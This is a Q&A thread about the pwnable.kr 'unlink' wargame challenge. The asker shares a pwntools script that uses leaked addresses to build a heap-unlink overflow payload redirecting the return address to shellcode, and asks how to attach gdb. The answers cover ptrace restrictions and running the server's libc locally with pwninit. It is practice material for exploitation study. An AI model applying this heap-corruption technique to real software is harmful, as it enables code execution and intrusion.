0

In the last few days I tried to solve "unlink" challenge in pwnable.kr and I'm struggling to attach a debugger remotely and locally on the server using pwntools (code added below).

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('unlink_local')

host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'unlink'
password = args.PASSWORD or 'guest'
remote_path = '/home/unlink/unlink'

# Connect to the remote SSH server
shell = None
if not args.LOCAL:
    shell = ssh(user, host, port, password)
    shell.set_working_directory(symlink=True)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Execute the target binary on the remote host'''
    if args.GDB:
        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
    else:
        return shell.process([remote_path] + argv, *a, **kw)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

r = start()

stack_leak = r.recvline(keepends=False)
stack_leak = int(stack_leak.decode("latin-1").split(": ")[1], 16)
heap_leak = r.recvline(keepends=False)
heap_leak = int(heap_leak.decode("latin-1").split(": ")[1], 16)
ret_addr_on_stack = stack_leak + 0x28  # 0x28 is the offset between the leak and the return address location on
# the stack (checked in gdb via running the program multiple times and checking the offset)
shellcode_location_on_heap = heap_leak + 0x50

"""
Payload layout (in this exact order)
"""
A_buf = b"A" * 8  # A's buf variable (in the struct 'tagOBJ' in the source) overflow

B_prev_size = b"B" * 4  # B's prev_size variable (in malloc internals) overflow
B_size = b"C" * 4  # B's size variable (in malloc internals) overflow
B_fd = p32(ret_addr_on_stack - 0x4)  # B's fd pointer (in the struct 'tagOBJ') overflow   
B_bk = p32(shellcode_location_on_heap)  # 0x080484eb  # B's bk pointer (in the struct 'tagOBJ') overflow      ----- shell() function address
B_buf = b"D" * 8  # B's buf variable (in the struct 'tagOBJ') overflow

C_prev_size = b"E" * 4  # B's prev_size variable (in malloc internals) overflow
C_size = b"F" * 4  # B's size variable (in malloc internals) overflow
C_fd = b"PPPP"  # C's fd pointer (in the struct 'tagOBJ') overflow      ----- empty (doesn't point anywhere)
C_bk = b"LLLL"  # C's bk pointer (in the struct 'tagOBJ') overflow      ----- RET ADDRESS LOCATION ON STACK

payload = A_buf + B_prev_size + B_size + B_fd + B_bk + B_buf + C_prev_size + C_size + C_fd + C_bk
with open("inp", "wb") as f:
    f.write(payload)

r.sendlineafter(b'now that you have leaks, get shell!\n', payload)
r.interactive()

When i attach gdb remotely using pwntools, I get the following error message from the server:

[DEBUG] Received 0x8f bytes:
    '/build/gdb-9un5Xp/gdb-7.11.1/gdb/gdbserver/regcache.c:264:\n'
    'A problem internal to GDBserver has been detected.\n'
    'Unknown register ymm0h requested\n'

In addition, when I attach gdb locally on the server using pwntools with tmux (because without tmux it can't find a terminal to open gdb in, I don't know why), I get this error:

Attaching to program: /home/unlink/unlink, process 50201
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
/tmp/tal/50201: No such file or directory.
Breakpoint 1 at 0x804851e
(gdb)

The same error happens when attaching to the process by its pid without pwntools (via gdb -p {pid}).

I will point out that I've tried to run the program on my pc (not on their server), and the heap layout was different (I think malloc aligned to 16 bytes instead of 4? not sure why its different to be honest), so running locally will not work.

Please note that I realise that this exploit doesn't work correctly, and my problem is that I don't know how to debug it properly, so please avoid giving corrections to the exploit itself.

Hints will be appreciated :)

talsim
  • 42
  • 4

2 Answers2

0

I already walk through this challenge, here is 2 tips for u:

  1. The heap size on the server is different from local's because the version of pwnable.kr server is old.
fd@pwnable:~$ uname -a
Linux pwnable 4.4.179-0404179-generic #201904270438 SMP Sat Apr 27 08:41:19 enter code here`UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  1. You can't use pwntools gdb module to attach your process because admin don't open ptrace.
fd@pwnable:~$ cat /etc/sysctl.d/10-ptrace.conf
# The PTRACE system is used for debugging.  With it, a single user process
# can attach to any other dumpable process owned by the same user.  In the
# case of malicious software, it is possible to use PTRACE to access
# credentials that exist in memory (re-using existing SSH connections,
# extracting GPG agent information, etc).
#
# A PTRACE scope of "0" is the more permissive mode.  A scope of "1" limits
# PTRACE only to direct child processes (e.g. "gdb name-of-program" and
# "strace -f name-of-program" work, but gdb's "attach" and "strace -fp $PID"
# do not).  The PTRACE scope is ignored when a user has CAP_SYS_PTRACE, so
# "sudo strace -fp $PID" will work as before.  For more details see:
# https://wiki.ubuntu.com/SecurityTeam/Roadmap/KernelHardening#ptrace
#
# For applications launching crash handlers that need PTRACE, exceptions can
# be registered by the debugee by declaring in the segfault handler
# specifically which process will be using PTRACE on the debugee:
#   prctl(PR_SET_PTRACER, debugger_pid, 0, 0, 0);
#
# In general, PTRACE is not needed for the average running Ubuntu system.
# To that end, the default is to set the PTRACE scope to "1".  This value
# may not be appropriate for developers or servers with only admin accounts.
kernel.yama.ptrace_scope = 1

In a nutshell, I suggest that you can use server's local gdb to debug the program, because all you need is the heap layout at runtime.

Rance
  • 11
  • 2
0

So I've managed to attach a debugger to it on my system by downloading pwnable.kr's libc (found its path by ldd), then I ran pwninit to automatically download the correct linker for that specific libc version and finally patched the binary to the linker and the libc (which pwninit does for you).

In conclusion, there will always be a way to debug (in this case attach a debugger) a binary.

talsim
  • 42
  • 4